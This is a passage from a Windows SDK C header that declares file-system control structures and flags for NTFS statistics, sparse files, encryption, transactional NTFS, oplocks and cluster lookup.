BitmapWritesFlushForLogFileFull; USHORT BitmapWritesLazyWriter; USHORT BitmapWritesUserRequest; struct { USHORT Write; USHORT Create; USHORT SetInfo; } BitmapWritesUserLevel; ULONG MftBitmapReads; ULONG MftBitmapReadBytes; ULONG MftBitmapWrites; ULONG MftBitmapWriteBytes; USHORT MftBitmapWritesFlushForLogFileFull; USHORT MftBitmapWritesLazyWriter; USHORT MftBitmapWritesUserRequest; struct { USHORT Write; USHORT Create; USHORT SetInfo; USHORT Flush; } MftBitmapWritesUserLevel; ULONG UserIndexReads; ULONG UserIndexReadBytes; ULONG UserIndexWrites; ULONG UserIndexWriteBytes; ULONG LogFileReads; ULONG LogFileReadBytes; ULONG LogFileWrites; ULONG LogFileWriteBytes; struct { ULONG Calls; // number of individual calls to allocate clusters ULONG Clusters; // number of clusters allocated ULONG Hints; // number of times a hint was specified ULONG RunsReturned; // number of runs used to satisfy all the requests ULONG HintsHonored; // number of times the hint was useful ULONG HintsClusters; // number of clusters allocated via the hint ULONG Cache; // number of times the cache was useful other than the hint ULONG CacheClusters; // number of clusters allocated via the cache other than the hint ULONG CacheMiss; // number of times the cache wasn't useful ULONG CacheMissClusters; // number of clusters allocated without the cache } Allocate; } NTFS_STATISTICS, *PNTFS_STATISTICS; #if (_WIN32_WINNT >= 0x0500) #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // unnamed struct typedef struct _FILE_OBJECTID_BUFFER { UCHAR ObjectId[16]; union { struct { UCHAR BirthVolumeId[16]; UCHAR BirthObjectId[16]; UCHAR DomainId[16]; } DUMMYSTRUCTNAME; UCHAR ExtendedInfo[48]; } DUMMYUNIONNAME; } FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; #if _MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ #endif #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_SET_SPARSE_BUFFER { BOOLEAN SetSparse; } FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_ZERO_DATA_INFORMATION { LARGE_INTEGER FileOffset; LARGE_INTEGER BeyondFinalZero; } FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_ALLOCATED_RANGE_BUFFER { LARGE_INTEGER FileOffset; LARGE_INTEGER Length; } FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _ENCRYPTION_BUFFER { ULONG EncryptionOperation; UCHAR Private[1]; } ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; #define FILE_SET_ENCRYPTION 0x00000001 #define FILE_CLEAR_ENCRYPTION 0x00000002 #define STREAM_SET_ENCRYPTION 0x00000003 #define STREAM_CLEAR_ENCRYPTION 0x00000004 #define MAXIMUM_ENCRYPTION_VALUE 0x00000004 typedef struct _DECRYPTION_STATUS_BUFFER { BOOLEAN NoEncryptedStreams; } DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; #define ENCRYPTION_FORMAT_DEFAULT (0x01) #define COMPRESSION_FORMAT_SPARSE (0x4000) typedef struct _REQUEST_RAW_ENCRYPTED_DATA { LONGLONG FileOffset; ULONG Length; } REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; typedef struct _ENCRYPTED_DATA_INFO { ULONGLONG StartingFileOffset; ULONG OutputBufferOffset; ULONG BytesWithinFileSize; ULONG BytesWithinValidDataLength; USHORT CompressionFormat; UCHAR DataUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR EncryptionFormat; USHORT NumberOfDataBlocks; ULONG DataBlockSize[ANYSIZE_ARRAY]; } ENCRYPTED_DATA_INFO; typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _PLEX_READ_DATA_REQUEST { LARGE_INTEGER ByteOffset; ULONG ByteLength; ULONG PlexNumber; } PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _SI_COPYFILE { ULONG SourceFileNameLength; ULONG DestinationFileNameLength; ULONG Flags; WCHAR FileNameBuffer[1]; } SI_COPYFILE, *PSI_COPYFILE; #define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS #define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. #define COPYFILE_SIS_FLAGS 0x0003 #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0600) typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { BOOLEAN CloseDisc; } FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { BOOLEAN Disable; } FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; typedef struct _FILE_QUERY_SPARING_BUFFER { ULONG SparingUnitBytes; BOOLEAN SoftwareSparing; ULONG TotalSpareBlocks; ULONG FreeSpareBlocks; } FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { LARGE_INTEGER DirectoryCount; // -1 = unknown LARGE_INTEGER FileCount; // -1 = unknown USHORT FsFormatMajVersion; // -1 = unknown or n/a USHORT FsFormatMinVersion; // -1 = unknown or n/a WCHAR FsFormatName[ 12]; LARGE_INTEGER FormatTime; LARGE_INTEGER LastUpdateTime; WCHAR CopyrightInfo[ 34]; WCHAR AbstractInfo[ 34]; WCHAR FormattingImplementationInfo[ 34]; WCHAR LastModifyingImplementationInfo[ 34]; } FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; #define SET_REPAIR_ENABLED (0x00000001) #define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) #define SET_REPAIR_DELETE_CROSSLINK (0x00000004) #define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) #define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) #define SET_REPAIR_VALID_MASK (0x0000001F) typedef enum _SHRINK_VOLUME_REQUEST_TYPES { ShrinkPrepare = 1, ShrinkCommit, ShrinkAbort } SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; typedef struct _SHRINK_VOLUME_INFORMATION { SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; ULONGLONG Flags; LONGLONG NewNumberOfSectors; } SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; #define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 #define TXFS_RM_FLAG_RENAME_RM 0x00000002 #define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 #define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000008 #define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 #define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 #define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 #define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 #define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000100 #define TXFS_RM_FLAG_GROW_LOG 0x00000400 #define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 #define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 #define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 #define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 #define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 #define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 #define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 #define TXFS_LOGGING_MODE_SIMPLE (0x0001) #define TXFS_LOGGING_MODE_FULL (0x0002) #define TXFS_TRANSACTION_STATE_NONE 0x00 #define TXFS_TRANSACTION_STATE_ACTIVE 0x01 #define TXFS_TRANSACTION_STATE_PREPARED 0x02 #define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 #define TXFS_MODIFY_RM_VALID_FLAGS \ (TXFS_RM_FLAG_LOGGING_MODE | \ TXFS_RM_FLAG_RENAME_RM | \ TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ TXFS_RM_FLAG_SHRINK_LOG | \ TXFS_RM_FLAG_GROW_LOG | \ TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ TXFS_RM_FLAG_PRESERVE_CHANGES | \ TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_PREFER_CONSISTENCY | \ TXFS_RM_FLAG_PREFER_AVAILABILITY) typedef struct _TXFS_MODIFY_RM { // // TXFS_RM_FLAG_* flags // ULONG Flags; // // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. // ULONG LogContainerCountMax; // // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set. // ULONG LogContainerCountMin; // // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. // ULONG LogContainerCount; // // When the log is full, increase its size by this much. Indicated as either a percent of // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* // flags is set. // ULONG LogGrowthIncrement; // // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink // makes the log shrink so that no more than this percentage of the log is free at any time. // ULONG LogAutoShrinkPercentage; // // Reserved. // ULONGLONG Reserved; // // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE // or TXFS_LOGGING_MODE_FULL. // USHORT LoggingMode; } TXFS_MODIFY_RM, *PTXFS_MODIFY_RM; #define TXFS_RM_STATE_NOT_STARTED 0 #define TXFS_RM_STATE_STARTING 1 #define TXFS_RM_STATE_ACTIVE 2 #define TXFS_RM_STATE_SHUTTING_DOWN 3 #define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_PREFER_CONSISTENCY | \ TXFS_RM_FLAG_PREFER_AVAILABILITY) typedef struct _TXFS_QUERY_RM_INFORMATION { ULONG BytesRequired; ULONGLONG TailLsn; ULONGLONG CurrentLsn; ULONGLONG ArchiveTailLsn; ULONGLONG LogContainerSize; LARGE_INTEGER HighestVirtualClock; ULONG LogContainerCount; ULONG LogContainerCountMax; ULONG LogContainerCountMin; ULONG LogGrowthIncrement; ULONG LogAutoShrinkPercentage; ULONG Flags; // // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. // USHORT LoggingMode; // // Reserved. // USHORT Reserved; // // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. // ULONG RmState; // // Total capacity of the log in bytes. // ULONGLONG LogCapacity; // // Amount of free space in the log in bytes. // ULONGLONG LogFree; // // Size of $Tops in bytes. // ULONGLONG TopsSize; // // Amount of space in $Tops in use. // ULONGLONG TopsUsed; // // Number of transactions active in the RM at the time of the call. // ULONGLONG TransactionCount; // // Total number of single-phase commits that have happened the RM. // ULONGLONG OnePCCount; // // Total number of two-phase commits that have happened the RM. // ULONGLONG TwoPCCount; // // Number of times the log has filled up. // ULONGLONG NumberLogFileFull; // // Age of oldest active transaction in the RM, in milliseconds. // ULONGLONG OldestTransactionAge; GUID RMName; ULONG TmLogPathOffset; } TXFS_QUERY_RM_INFORMATION, *PTXFS_QUERY_RM_INFORMATION; #define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 #define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 #define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { LARGE_INTEGER LastVirtualClock; ULONGLONG LastRedoLsn; ULONGLONG HighestRecoveryLsn; ULONG Flags; } TXFS_ROLLFORWARD_REDO_INFORMATION, *PTXFS_ROLLFORWARD_REDO_INFORMATION; #define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 #define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000002 #define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 #define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 #define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 #define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 #define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 #define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000080 #define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 #define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 #define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 #define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 #define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 #define TXFS_START_RM_VALID_FLAGS \ (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ TXFS_START_RM_FLAG_LOGGING_MODE | \ TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ TXFS_START_RM_FLAG_PREFER_AVAILABILITY) typedef struct _TXFS_START_RM_INFORMATION { // // TXFS_START_RM_FLAG_* flags. // ULONG Flags; // // RM log container size, in bytes. This parameter is optional. // ULONGLONG LogContainerSize; // // RM minimum log container count. This parameter is optional. // ULONG LogContainerCountMin; // // RM maximum log container count. This parameter is optional. // ULONG LogContainerCountMax; // // RM log growth increment in number of containers or percent, as indicated // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is // optional. // ULONG LogGrowthIncrement; // // RM log auto shrink percentage. This parameter is optional. // ULONG LogAutoShrinkPercentage; // // Offset from the beginning of this structure to the log path for the KTM // instance to be used by this RM. This must be a two-byte (WCHAR) aligned // value. This parameter is required. // ULONG TmLogPathOffset; // // Length in bytes of log path for the KTM instance to be used by this RM. // This parameter is required. // USHORT TmLogPathLength; // // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, // and will default to TXFS_LOGGING_MODE_SIMPLE. // USHORT LoggingMode; // // Length in bytes of the path to the log to be used by the RM. This parameter // is required. // USHORT LogPathLength; // // Reserved. // USHORT Reserved; // // The path to the log (in Unicode characters) to be used by the RM goes here. // This parameter is required. // WCHAR LogPath[1]; } TXFS_START_RM_INFORMATION, *PTXFS_START_RM_INFORMATION; // // Structures for FSCTL_TXFS_GET_METADATA_INFO // typedef struct _TXFS_GET_METADATA_INFO_OUT { // // Returns the TxfId of the file referenced by the handle used to call this routine. // struct { LONGLONG LowPart; LONGLONG HighPart; } TxfFileId; // // The GUID of the transaction that has the file locked, if applicable. // GUID LockingTransaction; // // Returns the LSN for the most recent log record we've written for the file. // ULONGLONG LastLsn; // // Transaction state, a TXFS_TRANSACTION_STATE_* value. // ULONG TransactionState; } TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; #define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 #define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { // // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. // ULONGLONG Offset; // // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the // current name was deleted or created in the transaction. // ULONG NameFlags; // // NTFS File ID of the file. // LONGLONG FileId; // // Reserved. // ULONG Reserved1; ULONG Reserved2; LONGLONG Reserved3; // // NULL-terminated Unicode path to this file, relative to RM root. // WCHAR FileName[1]; } TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { // // GUID name of the KTM transaction that files should be enumerated from. // GUID KtmTransaction; // // On output, the number of files involved in the transaction on this RM. // ULONGLONG NumberOfFiles; // // The length of the buffer required to obtain the complete list of files. // This value may change from call to call as the transaction locks more files. // ULONGLONG BufferSizeRequired; // // Offset in bytes from the beginning of this structure to the first // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. // ULONGLONG Offset; } TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; // // Structures for FSCTL_TXFS_LIST_TRANSACTIONS // typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { // // Transaction GUID. // GUID TransactionId; // // Transaction state, a TXFS_TRANSACTION_STATE_* value. // ULONG TransactionState; // // Reserved fields // ULONG Reserved1; ULONG Reserved2; LONGLONG Reserved3; } TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; typedef struct _TXFS_LIST_TRANSACTIONS { // // On output, the number of transactions involved in this RM. // ULONGLONG NumberOfTransactions; // // The length of the buffer required to obtain the complete list of // transactions. Note that this value may change from call to call // as transactions enter and exit the system. // ULONGLONG BufferSizeRequired; } TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // unnamed struct typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT { union { // // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW // ULONG BufferLength; // // On success the data is copied here. // UCHAR Buffer[1]; } DUMMYUNIONNAME; } TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; #if _MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning( default : 4201 ) #endif typedef struct _TXFS_WRITE_BACKUP_INFORMATION { UCHAR Buffer[1]; } TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; #define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE #define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF typedef struct _TXFS_GET_TRANSACTED_VERSION { // // The version that this handle is opened to. This will be // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and // transactional writer handles. // ULONG ThisBaseVersion; // // The most recent committed version available. // ULONG LatestVersion; // // If this is a handle to a miniversion, the ID of the miniversion. // If it is not a handle to a minivers, this field will be 0. // USHORT ThisMiniVersion; // // The first available miniversion. Unless the miniversions are // visible to the transaction bound to this handle, this field will be zero. // USHORT FirstMiniVersion; // // The latest available miniversion. Unless the miniversions are // visible to the transaction bound to this handle, this field will be zero. // USHORT LatestMiniVersion; } TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; #define TXFS_SAVEPOINT_SET 0x00000001 // // Roll back to a specified savepoint. // #define TXFS_SAVEPOINT_ROLLBACK 0x00000002 // // Clear (make unavailable for rollback) the most recently set savepoint // that has not yet been cleared. // #define TXFS_SAVEPOINT_CLEAR 0x00000004 // // Clear all savepoints from the transaction. // #define TXFS_SAVEPOINT_CLEAR_ALL 0x00000010 typedef struct _TXFS_SAVEPOINT_INFORMATION { HANDLE KtmTransaction; ULONG ActionCode; ULONG SavepointId; } TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; typedef struct _TXFS_CREATE_MINIVERSION_INFO { USHORT StructureVersion; USHORT StructureLength; ULONG BaseVersion; USHORT MiniVersion; } TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { BOOLEAN TransactionsActiveAtSnapshot; } TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0601) typedef struct _BOOT_AREA_INFO { ULONG BootSectorCount; // the count of boot sectors present on the file system struct { LARGE_INTEGER Offset; } BootSectors[2]; // variable number of boot sectors. } BOOT_AREA_INFO, *PBOOT_AREA_INFO; typedef struct _RETRIEVAL_POINTER_BASE { LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem } RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { ULONG VolumeFlags; ULONG FlagMask; ULONG Version; ULONG Reserved; } FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { CHAR FileSystem[9]; } FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; #define OPLOCK_LEVEL_CACHE_READ (0x00000001) #define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) #define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) #define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) #define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) #define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) #define REQUEST_OPLOCK_CURRENT_VERSION 1 typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { // // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. // USHORT StructureVersion; USHORT StructureLength; // // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. // ULONG RequestedOplockLevel; // // REQUEST_OPLOCK_INPUT_FLAG_* flags. // ULONG Flags; } REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; #define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) #define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { USHORT StructureVersion; USHORT StructureLength; ULONG OriginalOplockLevel; ULONG NewOplockLevel; ULONG Flags; ACCESS_MASK AccessMode; USHORT ShareMode; } REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; #define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 typedef struct _SD_CHANGE_MACHINE_SID_INPUT { USHORT CurrentMachineSIDOffset; USHORT CurrentMachineSIDLength; USHORT NewMachineSIDOffset; USHORT NewMachineSIDLength; } SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { // // How many entries were successfully changed in the $Secure stream // ULONGLONG NumSDChangedSuccess; // // How many entries failed the update in the $Secure stream // ULONGLONG NumSDChangedFail; // // How many entries are unused in the current security stream // ULONGLONG NumSDUnused; // // The total number of entries processed in the $Secure stream // ULONGLONG NumSDTotal; // // How many entries were successfully changed in the $MFT file // ULONGLONG NumMftSDChangedSuccess; // // How many entries failed the update in the $MFT file // ULONGLONG NumMftSDChangedFail; // // Total number of entries process in the $MFT file // ULONGLONG NumMftSDTotal; } SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; // // Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE // #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // unnamed struct typedef struct _SD_GLOBAL_CHANGE_INPUT { // // Input flags (none currently defined) // ULONG Flags; // // Specifies which type of change we are doing and pics which member // of the below union is in use. // ULONG ChangeType; union { SD_CHANGE_MACHINE_SID_INPUT SdChange; }; } SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; typedef struct _SD_GLOBAL_CHANGE_OUTPUT { // // Output State Flags (none currently defined) // ULONG Flags; // // Specifies which below union to use // ULONG ChangeType; union { SD_CHANGE_MACHINE_SID_OUTPUT SdChange; }; } SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; #if _MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ #endif // // Flag to indicate the encrypted file is sparse // #define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { ULONG ExtendedCode; ULONG Length; ULONG Flags; ULONG Reserved; } EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { ULONG Flags; ULONG NumberOfClusters; LARGE_INTEGER Cluster[1]; } LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { ULONG Offset; ULONG NumberOfMatches; ULONG BufferSizeRequired; } LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { ULONG OffsetToNext; ULONG Flags; LARGE_INTEGER Reserved; LARGE_INTEGER Cluster; WCHAR FileName[1]; } LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; typedef struct _FILE_TYPE_NOTIFICATION_INPUT { ULONG Flags; ULONG NumFileTypeIDs; GUID FileTypeID[1]; } FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; #define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN 0x00000001 //Set when adding the specified usage on the given file #define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); 